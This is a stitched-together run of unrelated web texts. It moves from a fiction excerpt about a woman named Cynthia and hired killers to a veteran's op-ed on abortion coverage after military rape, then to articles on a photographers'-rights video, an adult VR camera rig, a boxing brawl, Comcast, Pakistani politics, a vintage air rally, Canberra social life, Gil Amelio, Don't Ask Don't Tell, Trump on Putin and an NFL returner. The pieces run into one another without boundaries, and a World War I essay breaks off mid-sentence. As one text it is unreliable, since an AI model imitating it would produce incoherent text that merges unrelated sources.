Godwin’s last thoughts were of Cynthia, his last sentiment a quiet horror at the idea that Cynthia might well think along the same lines he had… without the consideration to what disasters Genevieve Fray might have planned.
☙
The hall had an upper stage that overlooked the lower floor, and Cynthia stood astride it, arms on the railing, watching. Her pets flanked her.
From the bottom to the top, she thought. She was with the upper class. The true upper class, she might say. These weren’t nobles, but businessmen, clergy, and pillars of the community. They were people with money who had earned that money, by and large. Those who had been born to money were already beholden to the Academy, hooks long set in.
Men and women in fine dress.
Potential allies.
If they were going to retake Westmore, these were allies they would need. It meant the difference between the Academy having a gun for every soldier or having to do without.
One of her pets reacted, bat-ears twitching as it made a small sound. She wheeled around.
Nervous, since Godwin’s death.
Four individuals. Three men and a woman, standing in the shadows.
She almost regretted hiring them. The mercenaries. They’d turned out to be on her side, but they were… unpleasant, both in methodology and in personality.
“I thought I was alone up here,” she said.
The one in the lead shook his head. He had bug eyes and a custom gun slung over one shoulder.
Choleric, she reminded herself.
“What is it?”
“General Ames just arrived,” Melancholy said. Long hair covered her eyes, and she had a too-wide mouth. Of the four, Melancholy was the only one that Cynthia wasn’t sure about. The woman’s favored murder weapon wasn’t on display. No knife, no gun, no vials.
Cynthia turned to look.
Ames was a big man, in many senses. Proud, boisterous, fat, ruddy-cheeked, with blond hair. He was perspiring. More than normal. He was with his wife and child.
“What about him?”
“The girl,” Melancholy said.
It took a moment before Cynthia could see through the crowd. A young lady, beautiful, wearing an evening dress in miniature. A little blonde that promised to be a great beauty at some point in the future.
When Melancholy spoke again, it was in Cynthia’s ear. Cynthia hadn’t heard the woman approach. “She doesn’t smell like she’s his.”
Cynthia looked, frowning. The girl looked like any young lady should, bouncing with excitement at the fancy dress party. She was saying something, and her father was having trouble keeping up.
“What is she?”
“Not human,” Melancholy said. “She smells like blood.”
Cynthia nodded slowly.
“She smells like other children,” Melancholy said.
Cynthia’s eyes scanned the crowd. She didn’t see any others.
“You know what to do,” she said.
“Mm,” Melancholy said.
Cynthia smiled. She knew as she turned around that the four wouldn’t be there. In four paces, she crossed the room to pick up her gun, slipping it through a hidden pocket of her dress.
She wasn’t excited, she wasn’t proud or arrogant. She knew exactly what she was up against.
She’d come here to fight.
This, surrounded with people she couldn’t trust, was her medium.
Every time she’d faced this kind of situation in the past, everyone else had ended up bleeding or dead.
Previous NextWe are defending a Constitution that doesn’t apply to us. This was a phrase I heard often after I joined the U.S. Army in 2005. At the time, I didn’t realize just how true that would be. I was raped by a fellow soldier when I was stationed in Korea. I found out I was pregnant as a result of the rape when my commander called me into his office one day to charge me with adultery. A doctor at the medical center had told my commander — but not me — that I was pregnant. I hadn't reported the rape because I was trying to "soldier on” and I didn’t trust my chain of command. This is an environment where women are constantly targeted for various forms of abuse. As it turns out I was not charged, not because I was raped, but because I was divorced.
Then I faced the fact that military health insurance doesn’t allow abortion coverage in cases of rape, and I was unable to have a safe abortion off-base, so I was stuck. I was discharged from the military due to the trauma of the rape and attacks. I flew back home to the U.S. after being discharged from the Army for my own safety and ended up miscarrying.
Earlier this week six members of Congress introduced an amendment to the National Defense Authorization Act to allow the military health system to cover abortion if a servicewoman is raped. Tuesday night the House of Representatives refused to allow it, but instead allowed more than 150 other amendments to move forward. This means congress will not even hear the option to allow a woman in the military who is raped to have abortion coverage.
If I’d had that option, I would have had a chance to continue my career in the Army. I wanted to go to combat. I was applying to become an officer. Who knows what my military career, and that of countless others, would have been if this were an option for us.
Denying abortion coverage to rape survivors is a serious injustice to those who are honorably serving our country. This is especially true when a woman’s risk of being sexually assaulted more than doubles when she joins the military. Women in the armed forces should have the same quality healthcare access that they would have in the civilian world.
Women who are deployed overseas or to remote areas of the U.S., like Alaska, face an added burden when there are no other safe medical facilities. The military is effectively asking women who serve to completely disregard their health and rights, no matter the circumstances. The blatant sexism and lack of accountability in the military has created environment in which women are treated as if they are less than men.
When it comes to health, women in the armed forces should have the same rights and access to services that they would have if they were civilians. This is not about personal views of morality. This is about taking care of our troops and their overall well-being. Congress should support military women bravely serving this country. Our elected leaders should not deny military women access to the same care available to the civilian population we protect.
Jessica Kenyon served in the U.S. Army and is the founder of BenefitingVeterans.org and MilitarySexualTrauma.org, two online support networks. She currently lives in Pennsylvania.
Learn more about reproductive freedom: Subscribe to our newsletter, follow us on Twitter, and like us on Facebook.Benjamin Franklin kicks an informative and hilarious rhyme about transparency and First Amendment protections for pro and amateur photographers in the latest video from Joseph Gordon-Levitt's open collaborative production company, hitRECord.
Directed by Gordon-Levitt in what he tweeted on Wednesday as a "kickass Schoolhouse Rock-style," hitRECord's video for "They Can't Turn the Lights Off Now" screened recently at the Sundance Film Festival and debuted earlier this week online.
Made in collaboration with the American Civil Liberties Union to bring awareness to photographers' rights, the video's smart and smart-ass lyrics, delivered by Franklin with backup from the Founding Fathers, come courtesy of the Gregory Brothers. And like that group's "Auto-Tune the News" segments derive their energy from meshing absurd comedy with political commentary, much of this video's charm lies in the juxtaposition between real-world protests and toon satire. Like, for example, when the busted pepper-spraying cop in the cartoon laments Now everyone knows me / I'm YouTube famous / But only for being a pain in the anus.
Bottom line: The clip, which is likely to incite anti-Occupy internet and meatspace trolls' frothy rage with its Occupy footage from Gordon-Levitt himself, is an educational hoot. It gives the basic reasoning for why the public having cameras at the ready is essential for government transparency, while keeping that message simple enough for even young people to understand.
"They Can't Turn the Lights Off Now" is also another convincing example of Gordon-Levitt's skills. From an adorably wisecracking kid in the must-see 1990s sci-fi spoof 3rd Rock From the Sun to breakout roles in Mysterious Skin and (500) Days of Summer to blockbuster appearances in Christopher Nolan's upcoming The Dark Knight Rises, Gordon-Levitt's worthy stardom has been on a perpetual climb. And the actor's ascension should only accelerate once his feature directorial debut with Scarlett Johansson, which he announced Tuesday on Twitter, arrives in theaters.
Until then, we'll be watching this on repeat.VR Bangers has announced its release of a new POV Head Rig that it calls a new technological breakthrough helping to pioneer the way forward for fully immersive adult virtual reality content.
Known for its earlier advances in stitchless VR post production and several new filming techniques, VR Bangers new Head Rig adds a personal touch to the audio and video of virtual reality adult related scenes. VRBangers.com CTO Boris Smirnoff says that with the new VR Bangers POV Head Rig, fans can finally feel like they are getting kissed and caressed, while their favorite girls whisper right into their ears.
“This rig was built especially for adult VR scenes because we noticed that there is a much warmer and more intimate emotional attachment between the performer and the recording device if the device itself is able to be kissed, caressed and whispered to in the same sort of ways that a real person would sense those subtle communications,” explains Smirnoff. “It’s easy to think that performers will be able to overcome all the odd positions and constraints of filming content so it looks pristine on a virtual screen, but the fact is, the more we can help our models get the most out of their play space, the better our content will continue to be and the real winner in this line of advancements is always our fans.
Smirnoff reveals that rather than cradling a camera or a microphone and pretending to be engaging with a fictional love interest, the girls of VR Bangers (http://www.vrbangers.com) can work with as close an approximation to a human head as modern technology allows.
“Our original intent was to include this new rig in the presentations at CES 2017 because we are confident it is one of the hottest new tech items to come out at CES in a long time, but the show didn’t allow us in because they still think this industry and tech are different or something,” Smirnoff says. “The truth is that our industry has always been at the forefront of improving interpersonal technologies.”
Smirnoff says that this is the first rig of its kind, and was custom built by their own R&D team.
“Stereoscopic cameras right where its eyes would usually be, true 4K resolution at a mouthwatering 60fps using multiple cameras on the front, back and top of the head to capture every angle, along with state of the art binaural sound microphones in each ear to add a level of realism to each whisper, moan and shift in sound,” Smirnoff explains. “The content we are recording with this new rig is extraordinary, and the feedback our fans are giving us at the shows demonstrates that we are definitely moving in the right direction.”
“Virtual Reality is no longer a future technology,” Smirnoff concludes. “It’s happening right now, and your chance to cash in on the best of VR adult content is staring you right in the face… just like this new VR POV Head Rig.”
Source: VR Bangers LLCSeveral commentators have pointed to the similarities between the pre-World War I era and our own. While every historical analogy is, by definition, inexact, they are right to raise the alarm.
In 1914, Europe was divided into two camps: the Entente, consisting of Britain, France, and Russia, and the Central Powers, predominantly Germany and the Austro-Hungarian Empire (Italy was formally a member, but went neutral when the war started, eventually joining the Entente). While this division had its roots in the long history of inter-imperialist rivalry over the acquisition of colonies in Africa and the Far East – with the “haves” being Britain and France, and the “have nots” being Germany and Austria – by the turn of the century the conflict began to re-focus on the European theater, where the breakup of the Ottoman Empire in Southeastern Europe – the Balkans – put the rival camps on a collision course.
Intent on penetrating the region and promoting its pan-Slavic agenda, Russia was fanning the flames of Serbian nationalism in the region, and the Kingdom of Serbia was the logical launching pad for this |
at the news conference to confront Vitali Klitschko, who he believes changed his mind on a potential fight between the pair.
But that sparked a verbal exchange with Haye and Chisora squaring up to each other before a brawl ensued.
Media playback is not supported on this device Dereck Chisora could face a lifetime ban from boxing.
Chisora accused Haye of "glassing him", before saying at least four times that he would shoot the former WBA heavyweight champion.
He added: "If David don't fight me, I am going to physically burn him."
Smith said the scuffle ranked among of the lowest moments in British boxing history.
"I'm very disappointed and very saddened that, in a sport I love, I have to deal with this," he added.
"I have to speak to the German Boxing Federation and German police and then take appropriate action. This is not good, it's bad, we have to deal with it accordingly."
Chisora has had part of his fight purse withheld by the World Boxing Council after slapping Klitschko at the pre-fight weigh-in on Friday.
Chisora spat water towards Klitschko's brother, Wladimir, moments before Saturday night's bout began.
More controversy followed when Chisora exchanged words with the Klitschko brothers after the result was announced.In a congratulatory gesture to celebrate Comcast’s Worst Company In America win, an antenna company took it upon itself to deliver a cake to the victor’s Philadelphia headquarters. One, because cake is delicious (clearly) and also to thank the cable company for sending it cord-cutting customers who have a sudden need to buy an antenna.
Antennas Direct chronicled the cake delivery in a video, from pick-up at the baker to its destination at Comcast’s Philly home. Along the way the company also sprinkles in some interviews with Comcast customers, asking how they feel about their service.
Addressed to CEO Brian Roberts, the cake reads: “Congratulations Comcast/Thanks for all the business/Stay the course. XOXO Antennas Direct.”
We’re posting the video because we find it amusing (and also, because once again, cake is tasty), and it’s not to be construed in any way as an endorsement of any company.
Let’s roll the footage:
Meanwhile, the head of Comcast’s cable division Neil Smit admitted during the recent TechCrunch Disrupt New York conference that the company needs to work on serving customers better.
“I think if there’s one thing to disrupt in our business, it’s customer service,” Smit said in response to TechCrunch mentioning Comcast’s WCIA win. “It’s my top priority,” he added, noting that it’d be great if customers know exactly when a technician is going to show up, among other things.
What Happens When You Congratulate the Worst Company in America [Antennas Direct]
Comcast CEO Neil Smit Says Improving Customer Service Is His Top Priority [TechCrunch]GlowBoard gives your icons a gorgeous heavenly glow.
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See larger Screenshots below..BUNER: Jamiat Ulema-i-Islam-F chief Maulana Fazlur Rehman has alleged that the Western lobby and its agents are bent upon waging war on Muslim countries, including Pakistan.
He was speaking at the ‘Mahmood Ghaznavi conference’ held at Swari here on Sunday. He claimed that the Western countries were busy hatching conspiracies against the Muslims throughout the world.
He said religious seminaries and mosques spread Islamic teachings, warning that any action against seminaries and ulema would create unrest in the country.
Mr Rehman said in the presence of JUI-F no one could dare amend blasphemy law, and change school syllabus and uniform. He accused the PTI of promoting vulgarity, obscenity and secularism.
Senate Deputy Chairman Abdul Ghafoor Haideri and other leaders also spoke on the occasion.
In Mardan, talking to media persons at the residence of party leader Maulana Imdadullah in Katlang tehsil, Abdul Ghafoor Haideri alleged that the Paris attacks was a conspiracy to cause more bloodshed in the Muslim countries.
He said Muslims were the worst victims of terrorist acts, and insisted that they would bear the brunt of the aftermath of the Paris attacks.
He claimed that vested designs of the world powers were behind the attacks, adding: “The US and its allies have joined hands against Muslim countries.”
Replying a question regarding the China-Pakistan Economic Corridor project, he said the federal government should implement all the decisions taken at the all-party conference a few months back.
He said there was nothing to worry about the press release issued by the ISPR insisting on good governance, adding steps were needed to be taken for improving governance across the country.
Mr Haideri said as a state institution, it was responsibility of the Army to pinpoint weak areas to the government with the purpose to bring improvement there.
To a query about Army Chief Gen Raheel Sharif’s visit to the US, he said the armies of both the countries should work jointly for improving their working relationship.
The JUI-F leader said there was no threat to democracy and that Pakistan was passing through a critical juncture and couldn’t afford any misadventure.
Published in Dawn, November 23rd, 2015Image copyright AFP Image caption The vintage planes had taken off from Sudan for the three-hour flight into Ethiopia
The pilots of at least 20 aircraft taking part in a vintage plane rally have been detained in Ethiopia, officials have told the BBC.
The Vintage Air Rally planes crossed "illegally" into Ethiopian from Sudan, officials say, and are currently impounded at an airport in Gambela.
The rally has been suspended while talks take place to try to resolve the situation.
Earlier, a UK pilot who went missing during the rally was found safe.
On its Facebook page, Vintage Air Rally said that Maurice Kirk, 72, was with other pilots in Gambela who were all "safe and accounted for".
Africa Live: Updates on this and other news stories
The planes, dating from the 1920s and 1930s, took off from the Greek island of Crete on 12 November on a 13,000km (8,000 mile) journey to Cape Town.
However, the head of Ethiopia's civil aviation authority, Wosenyele Hungnall, told the BBC that the aircraft had crossed illegally into Ethiopian airspace from Sudan.
He said the pilots had been detained and investigators were travelling to the area.
It is understood that those detained have had to surrender their mobile phones and other equipment, so details are unclear.
Image copyright AFP Image caption The planes date from the 1920s and 1930s
A rally spokesman told AFP news agency the problem may relate to landing permits, although he believed that all flight paths had been approved beforehand.
The aviators are being accommodated at Gambela airport, the rally said, instead of at a hotel where they had made bookings.
The UK's foreign and commonwealth office (FCO) is among several foreign diplomatic services now involved in the situation.
An FCO spokeswoman said: "We are in contact with the local authorities regarding a group who have been prevented from leaving Gambela airport, Ethiopia."
A search and rescue operation was launched for Mr Kirk, from Somerset, after his aircraft went missing on Monday somewhere between Sudan and Ethiopia.
Rally organisers later confirmed that he was safe. They said that he had been asked to withdraw from the event because of a lack of satellite tracking or a working compass on his 1943 Piper Cub plane.
Mr Kirk, a former friend of the late actor Oliver Reed, previously reported suffering two engine failures, but had apparently decided to continue.Curious Canberra answers questions sent in by you, the audience. This one is from Deb Guster of Braddon who asked: why is it so hard to make friends in Canberra?
To answer the question, I took to the streets to find out what Canberrans think.
Share Nicholas (right) says it can be harder to making friends in Canberra if you live in the outer suburbs.
I think it just takes time. I've been in Canberra seven years and I've got a better group of friends now than I did when I moved here... There is a divide I think between the inner-city where we are and the suburbs. I know that much because I did live in the suburbs and it was quite tough. Nicholas, 32 (right)
External Link: Making friends in Canberra
Curious Canberran Deb Guster wants to know why, in a city of 400,000 people, locals can sometimes feel alone.
"People don't often talk about it a lot and I'm always worried that if I say, 'It's really hard to find friends here', people will say, 'Well that's something that's wrong with you'," Deb said.
"But it's important to me because I was thinking of moving out of Canberra just because I've found it easier to make friends interstate."
This investigation is not just about making friends. It is about crowds and public spaces. It is about how we socialise in the cities we live in, and what makes Canberra a special case.
The city's population is always in flux.
Share Deb Guster (left) wants to knwo why it can be tricky making friends in Canberra.
Every year, nearly 600 young people join the Australian public service graduate program, and thousands more move to town to start university.
The median age in the ACT is 35, which makes it second only to the Northern Territory in a comparison of states and territories.
Deb was born in Adelaide but completed most of her schooling in Canberra. She has since lived in Newcastle, Sydney and Hobart. But she keeps coming back to Canberra, attracted by its green spaces and easy lifestyle.
Her only gripe with the town is how much harder she finds it meet new people in the capital, compared to other cities.
In Deb's opinion, a big part of the problem is the way the city is built.
"There just isn't that density of housing, where people live in a small area and bump into each other a lot," she said.
What do the experts say?
Deb and I met with Milica Muminovic, who is an assistant professor of architecture at the University of Canberra and an expert in urban design.
She believes there is a link between the way cities are designed and the way people behave.
Share
It is important for humans to be in crowds. For me that's the reason for the existence of cities. That's why we live in cities and that's why we invented cities. Doctor Milica Muminovic, urban design expert
"Most cities do have that socialising aspect which is quite important," Dr Muminovic.
"It's not actually making friends but being in a crowd.
"I think in Canberra that doesn't really happen spontaneously.
"There are pockets of that always happening, there are always events and things, but you have to be organised and follow those events.
"What I think is happening in Canberra is there is that perception of not having opportunities to socialise because of the uniqueness of the city and the way life is organised.
"The density is really low and everything is spread out. You live in your house, you get in your car, you travel probably alone and go to some place. The way everyday life is organised in this city doesnt really allow for that spontaneous crowd."
What do Canberrans say?
I also asked Canberrans of different ages and lifestyles about their experience making friends in the capital.
Share Felicity and Mohinii say work and university have helped them find friends in Canberra.
I personally don't think it's hard to make friends here. Particularly because of the environment I'm currently in. I'm at the University of Canberra. Felicity, 20
"I live on campus so there are events organised by the uni all the time.
"Then I have this side of my Canberra life where I come to work, and in hospitality you just meet people every day.
"Hundreds of people every single day.
"Especially where this street is located, it's all hustle and bustle every single day and people are willing to talk to you and be friendly."
I've moved here from Sweden just a few months ago and I've met so many people. Mohinii, 24
"One of the reasons I moved to Canberra is because I loved all the people that I'd already met when I was here a year ago on exchange.
"So yeah I found it very easy to meet people and make friends here. In any sort of city whether it's Canberra or Stockholm living on campus is a really good way of meeting people.
"That's how I met pretty much everyone I know."
Share Porkie says the problem is Canberra's public servants.
Same as anywhere else mate but it's the pubes (public servants) we're full of pubes, that makes it hard. They don't want to know the underdogs. Porkie, 55
Share Julie says her neighbours have been a source of friendship.
Canberra can be a cold place I suppose. But you have to contribute. Julie, 74
"I live in Watson and we all keep spare keys for our neighbours in my street in case we get locked out.
"We often have beers or a barbeque, someone will be having beers of an evening and you'll knock on the doors and tell people.
"And you just come along. You have to bring your own beers, or some biscuits. You don't come empty-handed."
Share Andrew and Bill came to Canberra for the public service graduate program.
We came to Canberra for the (Australian Public Service) graduate program. All those years ago. I had no problem at all making friends here. Andrew, 57
"I remember talking to some Perth millionaires and they said, "oh but you're not representative [of a regular Australian], you're from Canberra".
"Well how were those millionaires representative?
"I think Canberra is more representative than other cities in Australia because the people come from all over."
I'm retired now. I just finished my Masters in History at the ANU and they have things happening all the time there. I get the newsletters, there's always something going on. Bill, 58
Share Goh has moved to Canberra to study.
I don't have any friends at all in Canberra. It's very hard. I'm studying at a course in Dickson and I'll stay for two years. Goh, 21
Share Michael says Canberra can be a city of transients.
Oh yeah that's an interesting question... I know what you mean. Michael, 34
Share Touie says it's all about making an effort.
I'm from Yass and Canberra's like that, it's not a city it's a big country town. You've just gotta get involved. Touie, 34
Share Tom is a Canberra native.
I'm born and bred Canberra. It's not hard to socialise. You've just gotta end the Netflix marathon and get off the couch. Tom, 30Gilbert Frank Amelio (born March 1, 1943) is an American technology executive. Amelio worked at Bell Labs, Fairchild Semiconductor, and the semiconductor division of Rockwell International but is best remembered as a CEO of National Semiconductor and Apple Inc.
Early life and career [ edit ]
Amelio grew up in Miami, Florida, of Italian born parents, and graduated from Miami High School.[1] He received a bachelor's degree, master's degree, and Ph.D. in physics from the Georgia Institute of Technology. While at Georgia Tech, Amelio was a member of the Pi Kappa Alpha Fraternity.
Amelio joined Bell Labs as a researcher in 1968.[2] In 1970, Amelio was on the team that demonstrated the first working charge-coupled device (CCD).[3] He moved to Fairchild Semiconductor in 1971, where he led the development of the first commercial CCD image sensors in the early 1970s,[4] and in 1977 became head of the MOS division. He worked his way up to president of the semiconductor division of Rockwell International, and then its communications systems division.[5]
Amelio joined National Semiconductor as president and chief executive in February 1991.[5]
Apple Computer [ edit ]
In 1994 Amelio joined the board of directors of Apple. After his resignation from National Semiconductor, Amelio became Apple CEO on February 2, 1996, succeeding Michael Spindler. His salary was a reported $990,000 plus bonuses and a $5 million loan.[6] He also received approximately $100,000 for the use of his business jet by Apple the previous year according to the section "Certain Transactions" in the Apple Proxy Statement for 1996.[7]
Amelio cited several problems at Apple including a shortage of cash and liquidity, low-quality products, lack of a viable operating system strategy, undisciplined corporate culture, and fragmentation in trying to do too much and in too many directions. To address these problems Amelio cut costs, reduced Apple's work force by one third, discontinued the Copland operating system project, and oversaw the development of Mac OS 8.
To replace Copland and fulfill the need for a next generation operating system Amelio started negotiations to buy BeOS from Be Inc. but negotiations stalled when Be CEO Jean-Louis Gassée demanded $275 million; Apple was unwilling to offer more than $200 million. In November 1996 Amelio started discussions with Steve Jobs's NeXT, and bought the company on February 4, 1997, for $429 million.
During Amelio's tenure Apple's stock continued to slump and hit a 12-year low in Q2 1997 that was at least partially caused by a single sale of 1.5 million shares of Apple stock on June 26 by an anonymous party who was later confirmed to be Steve Jobs.[8] Apple lost another $708 million. On the July 4, 1997 weekend, Jobs convinced the directors to oust Amelio in a boardroom coup; Amelio submitted his resignation less than a week later; and Jobs then became interim CEO on September 16. In a 2007 interview with technology journalist Gina Smith, Jobs quoted Amelio as having a saying:
Apple is like a ship with a hole in the bottom, leaking water, and my job is to get the ship pointed in the right direction.[9][10][11]
It was reported that Amelio's contract gave him about $3.5 million in severance pay, after a $2.3 million performance bonus in 1996.[12]
Post-Apple career [ edit ]
Since 1998 Amelio has been a venture capitalist. In February 2001, Amelio became CEO of Advanced Communications Technologies (ADC). ADC is the United States arm of an Australian firm that has developed a product for the wireless communications industry called SpectruCell.[13] He became senior partner at Sienna Ventures in Sausalito, California in May 2001.[14]
In 2005 he co-founded Acquicor with ex-Apple CTO Ellen Hancock and Apple co-founder Steve Wozniak.[15][16][17] Acquicor acquired Jazz Semiconductor in early 2007, and sold it in 2008 for a loss.[18][19][20]
Amelio was a director and chairman of the Semiconductor Industry Association. Since 1996 he has been an advisor to the Malaysia Multimedia Super Corridor and to Malaysia's Prime Minister. Amelio was director of AT&T Inc., Pacific Telesis, Chiron Corporation, Sematech, the Georgia Tech Advisory Board (as chairman) and the American Film Institute. In June 2003 he was named chairman of the board of Ripcord Networks; where he joined Steve Wozniak, Ellen Hancock, and other Apple alumni.[citation needed] In October 2005 Amelio joined the board of advisors to Vanguard PAC (now TheVanguard.Org).[21] Amelio is also a member of the Board of Directors of InterDigital, a wireless R&D company. Gil Amelio is on the advisory board of tech start-up Intelicloud.[22]
He was a contributor to the report An American Imperative (1993),[23] and author of the books Profit from Experience (1995, ISBN 978-0471287049) and On the Firing Line: My 500 Days at Apple (1998, ISBN 978-0887309199).
Awards and Honors [ edit ]
Amelio is an IEEE Fellow.[24] He received the IEEE Masaru Ibuka Consumer Electronics Award in 1991 for contributions to the development of the charge-coupled device image (CCD) sensors in consumer video cameras. He has been awarded 16 patents.[citation needed]Editor's note: The United States has been granted a freeze on a recent federal ruling that would allow its military recruiters to accept openly gay applicants, keeping in place for now its long-running policy of "Don't Ask, Don't Tell." In February, as part of our Rainbow Planet series investigating gay rights around the world, GlobalPost looked at the policy of foreign militaries and found that most had long allowed gays to serve openly.
BOSTON — In many corners of the world, the policy on gays in the military could be labeled this way: “Don’t Ask, Don’t Care.”
In the military establishments of more than 30 countries, including U.S. allies such as Israel, Canada and the United Kingdom, gays and lesbians are allowed to openly serve in their country’s military.
It’s just not a big issue out there in much of the Western world.
But here in the U.S., the long-simmering debate over “Don’t Ask, Don’t Tell” has heated up after President Barack Obama vowed to repeal it during his State of the Union Address last week.
On Tuesday, the chairman of the Joint Chiefs of Staff, Adm. Mike Mullen, in a powerful and emotional statement, denounced the policy before the Senate Armed Services Committee.
Now the stage is set for a year-long debate over what is best for the U.S. military and the country it serves. And it seems the military brass is on the retreat on a policy that needs to be changed because, as Mullen put it, “It is the right thing to do.”
Obama could now seek to change the law through legislation or repeal the policy through an executive order.
Advocates for repealing “Don’t Ask, Don’t Tell” say it is high time for gays to serve their country proudly and openly, and they claim there is no evidence that such a change would be detrimental to the military. These advocates for changing the 1993 policy add that the U.S. military needs the tens of thousands of gays and lesbians who currently serve and the tens of thousands more who would enlist if they were allowed to do so.
Supporters of the existing policy say it has worked well and that now, while the country is fighting two active wars, is not the time to take on a substantive change in policy that could hurt the military’s “preparedness and effectiveness,” as they like to say in the Pentagon. They fear such a change could undercut recruitment in an all-volunteer army that is already overstretched.
The deadlocked debate in the U.S. could benefit from lessons about how allowing gays and lesbians to serve openly has worked with many of our allies.
According to military analysts and experts who have studied the issue in Israel, the U.K. and elsewhere, the policy has had little impact on the effectiveness of the military.
There are about 30 countries in the world, including nearly all of the NATO members, as well as South Africa, Brazil and the Philippines, that allow gay and lesbian servicemen and women in the military, according to Aaron Belkin, a political science professor at the University of California, Santa Barbara.
“In just about all of these countries there is research and anecdotal evidence that illustrates there is no problem, no decrease in cohesion among units, nor a diminishing effectiveness of the troops,” said Belkin, an expert in the area of civil-military relations whose research has been published in the military publications "International Security" and "Armed Forces and Society."
In 2000, Belkin co-authored an exhaustive 44-page study on Canada, which, after a series of lawsuits in 1991, changed its policies to allow gays to openly serve in the military. Belkin’s study, which at the time was regarded as the most comprehensive academic study of homosexuality in a foreign military ever completed, concluded that the change in policy had “not led to any change in military performance, unit cohesion, or discipline.”
The U.S. military walks a fine line on this issue, not outright banning gays in the military, but insisting that their sexual orientation must not be openly discussed. Under the 1993 policy adopted by President Bill Clinton, service members who remain closeted are allowed to serve, and investigation into a member’s sexuality without suspicion is prohibited. It’s a private matter, in other words. But any gay or lesbian in the military who refuses to stay silent, seeks to publicly proclaim their orientation or wants to get married, even in states where gay marriage is legal, risks being discharged.
Russia is one of the very few other countries in the world with a blurred line. In Russia, the policy holds that “well-adjusted homosexuals” are permitted to serve in a “normal capacity.” But those alleged to have “sexual identity problems” are to be drafted only during wartime.
Most countries in the world, particularly in the Muslim world and in religiously conservative countries in Africa, Asia and most of Latin America, clearly prohibit gays from serving in the military. There are some 80 countries in the world that still see homosexuality as a crime and a handful that still see it as a crime punishable by death.
Gen. Robert Magnus, who served as assistant commandant of the Marine Corps until his retirement in 2008, was among the hundreds of retired officers who signed a letter to Obama from the Center for Military Readiness last year warning against a repeal of the policy.
“We sent the letter to the commander in chief because with this policy we have maintained good order and discipline and we see no grounds to change the law,” said Magnus.
Magnus said that while he respects other countries, such as Israel and the U.K., that have allowed gays to openly serve, he does not believe their example informs what is best for the U.S.
In Israel, he pointed out, there is universal conscription for all healthy men and women. The Israeli military, which adopted its openly gay policy in the early 1990s, is a place where men and women often meet their future spouses and where dating is a common occurrence. It’s part of the military culture. So creating equality for gays could be seen as making sense in that culture, Magnus said.
In the U.S. military, there is no tolerance for either heterosexual or homosexual relationships. There’s a policy against any sexual relations in the service. It’s not part of the culture, he said.
Similarly, U.S. Army Lt. Col. Robert Maginnis, who has studied the British military system and who was part of the impact study of the U.S. military prior to the 1993 “Don’t Ask, Don’t Tell” policy, said, “I love the Brits, but they are very different from the U.S. military. They have a different culture.”
Maginnis said that the British army is much smaller at only 100,000 troops compared to the U.S. military, which has an active service of 1.5 million and a reserve force of some 170,000.
“The Brits don’t have the same force and the comparison just doesn’t work,” he said.
“You have to be globally aware. There are some practices in other parts of the world which are better than the U.S. military. And then you have to ask, if we did that would it work within our system?” asked Maginnis.
“When I look around the world, I’d say America is different,” said Maginnis.
So in the end is “Don’t Ask, Don’t Tell” another example of American "exceptionalism," that, as Maginnis would see it, shows the United States and its armed forces have a higher purpose, a different role in the world?
Or is it one more example of how we contradict our highest ideals of equality and justice for all in a way that is increasingly evident to so many of our allies?
The case of Lt. Daniel Choi, an openly gay Iraq war veteran who had to give up his military career last year as a much-needed Arabic language expert after he publicly stated his sexual orientation, defines the debate on a personal level.
“For me it is not about politics. This is my life and my platoon and my job,” he said yesterday, speaking on CNN.
“We all agree on one thing. We want our military to be strong and to succeed. By kicking out valuable members of the force, I don’t see how we achieve that …. For me it is simple, people all around the world are asking how come America isn’t ready to do this?”As Russian war planes begin air strikes over Syria, Donald Trump is giving his approval to Vladimir Putin and his intervention in the battle-ravaged country.
"Putin is now taking over what we started and he's going into Syria, and he frankly wants to fight ISIS, and I think that's a wonderful thing," Trump told Fox News Tuesday, after ending his boycott against the network. "If he wants to fight ISIS, let him fight ISIS. Why do we always have to do everything?"
Donald Trump: I'd get along "very well" with Putin
While many in the 2016 Republican field would like to see an increase in military presence in the Middle East to combat the terror group, Trump told conservative pundit Bill O'Reilly that he would rather let Russia's Vladimir Putin take over the charge.
"There's very little downside with Putin fighting ISIS," Trump added, saying that the strategy was "to our benefit."
The GOP contender gave the Russian leader a high grade on his skill as a leader, contrasting it to what he considers President Obama's poor performance.
"I will tell you in terms of leadership he is getting an 'A,' and our president is not doing so well," Trump said. "They did not look good together."
This is not the first time Trump has complimented Putin.
The Russian president was in New York City this week for the United Nations' 70th General Assembly session, and there was some speculation over whether Putin would meet the GOP candidate.
In the days leading up to Putin's arrival in the U.S., Trump said that he'd "enjoy" meeting with the foreign leader.
Flash Points: What can the U.S. do in Syria?
"I would love to do that if he wants to do that," he told NBC News over the weekend. He's also said that he would "get along very well" with the Russian president.
In contrast, Obama and Putin butted heads earlier this week while the Russian leader was in New York, disagreeing over how to handle Syria's years-long civil war. While Obama called for a switch in leadership from Syria's current president, Bashar al-Assad, Putin continued to back Assad as a viable ally in the fight against ISIS.
On Tuesday, Trump also seemed to be open to the idea that Assad may not be as bad an actor as the U.S. thinks.
"I've been looking at the different players, and I've been watching Assad," Trump told O'Reilly. "I'm looking at Assad and saying maybe he's better than some of the people we're supposed to be backing because we don't even know who we're backing. We have no idea."
Since 2011, the Syrian civil war has resulted in over a quarter of a million casualties and has been a major factor in the refugee crisis overwhelming Europe's borders.Former Australian rugby league star Jarryd Hayne is quickly becoming one of the NFL's most exciting open-field runners.
Assuming punt-return duties for the San Francisco 49ers in Sunday evening's preseason tilt, Hayne scooted through the Dallas Cowboys' special teams coverage for thrilling returns of 27, 34 and 23 yards in the first quarter.
The first attempt was especially impressive, as Hayne turned a Willie Mays-style over-the-shoulder catch into a highlight-reel run.
He also led the 49ers with 54 rushing yards on eight carries, handling third-string chores behind starter Carlos Hyde and rookie Mike Davis -- with veterans Reggie Bush and Kendall Hunter sitting out.
After the 49ers' 23-6 victory, coach Jim Tomsula said Hayne is "making a great case for himself, but there's still a long way to go."
Although it's fair to question Hayne's football instincts in tight quarters as a tailback, there's nothing fluky about his playmaking ability in space.
Hayne's first 18 preseason touches have netted 235 yards. Demonstrating a knack for making the gunner miss with his first move, Hayne's five punt returns have all gone for at least 10 yards.
Even if Tomsula continues to tamp down the hype, the question has gone from whether Hayne will make the final roster to whether he will hit the ground running as one of the NFL's most effective return specialists.
The latest Around The NFL Podcast caps the weeklong Fantasy Extravaganza by talking undervalued and overvalued QBs and everyone's draft philosophies.Oculus has revealed a new headset Rift Dev Kit 2
The future is coming to our homes much faster than you could ever imagine! Already forgot when you last wrote SMS to your girlfriend thanks to the mobile messenger Whatsapp, which Facebook has bought.
